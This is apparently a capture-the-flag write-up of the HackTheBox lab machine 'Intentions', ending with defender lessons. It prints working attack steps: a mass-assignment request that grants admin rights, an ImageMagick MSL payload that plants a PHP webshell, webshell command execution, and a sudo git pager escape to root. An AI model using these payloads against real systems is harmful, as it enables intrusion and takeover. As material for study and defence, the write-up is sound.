HARD LINUX
Intentions
April 18, 2026 15 min read
Mass AssignmentImageMagickCI/CD Abuse
Target IP
10.129.6.1
OS
Linux
Difficulty
Hard
Platform
HackTheBox

Recon

Two ports — SSH and a Laravel photo gallery application. The complexity on this Hard box comes from the exploitation chain, not the port count.

$ nmap -sC -sV -oN nmap/initial 10.129.6.1
22/tcp open  ssh   OpenSSH 8.9p1
80/tcp open  http  nginx 1.18.0
|_http-title: Intentions
  

Enumeration

The app is a photo gallery with user registration. After registering and logging in, I explored the API. The app has two API versions: /api/v2 is the current one (with stricter checks) and /api/v1 is an older version still active.

$ curl -s -H "Authorization: Bearer $TOKEN" http://intentions.htb/api/v2/gallery/user/genres
{"status":"error","message":"Forbidden"}

$ curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"genres":"1,2,3"}' http://intentions.htb/api/v1/gallery/user/genres
{"status":"success"}
  

v1 accepts the request. Testing mass assignment — I added an admin flag to the JSON body:

Key Finding
API v1 lacks the authorization checks present in v2. Sending "admin":1 in the genres update request successfully escalates the user to admin role — the field is accepted and persisted without server-side validation.
$ curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"genres":"1","admin":1}' http://intentions.htb/api/v1/gallery/user/genres
{"status":"success","user":{"id":5,"name":"test","email":"test@test.com","admin":1}}
  

Admin. The admin API exposes an image editing endpoint that accepts a file path for processing with ImageMagick.

Foothold

The admin image editor passes a user-supplied path to ImageMagick. ImageMagick supports a pseudo-protocol vid:msl: that loads a Magick Scripting Language (MSL) file — which can perform arbitrary file operations including copying files.

I created a malicious MSL file that copies a PHP webshell to the web root, uploaded it to the gallery as a fake image, then triggered the image processor with the vid:msl:/path/to/msl URI.

# MSL payload — copies PHP webshell to web root via ImageMagick
<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="caption:<?php system($_GET['cmd']); ?>" />
  <write filename="/var/www/html/intentions/public/shell.php" />
</image>
  
# trigger ImageMagick to load our MSL file
$ curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"path":"vid:msl:/tmp/evil.msl","effect":"none"}' \
  http://intentions.htb/api/v2/admin/image/edit

$ curl "http://intentions.htb/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data)
  

Reverse shell as www-data. Searched git history for credentials:

www-data@intentions:/var/www/html/intentions$ git log --all --oneline
36b4b99 (HEAD) Fix image processing
d8e1d76 Update dependencies
1a52a76 Add admin functionality
f5b45ab Initial commit — greg credentials: greg:Gr3g_is_the_b3st
$ su greg
greg@intentions:~$
  

Privilege Escalation

greg@intentions:~$ sudo -l
(root) NOPASSWD: /usr/bin/git *
  

sudo git with wildcard arguments. GTFObins git pager escape: sudo git -p help config opens the help in less — type !bash to spawn a root shell.

greg@intentions:~$ sudo git -p help config
# less pager opens — type: !bash
root@intentions:/home/greg# id
uid=0(root) gid=0(root) groups=0(root)
  

Flags

User Flag
/home/greg/user.txt
Root Flag
/root/root.txt

Lessons Learned

Defender Note
Decommission or protect legacy API versions with the same authorization as current versions. Implement a strict field allowlist on all API endpoints — never pass raw JSON to ORM update methods. Validate ImageMagick input paths and disable dangerous pseudo-protocols (vid:msl:, pdf:, etc.) via ImageMagick policy.xml.
← All Posts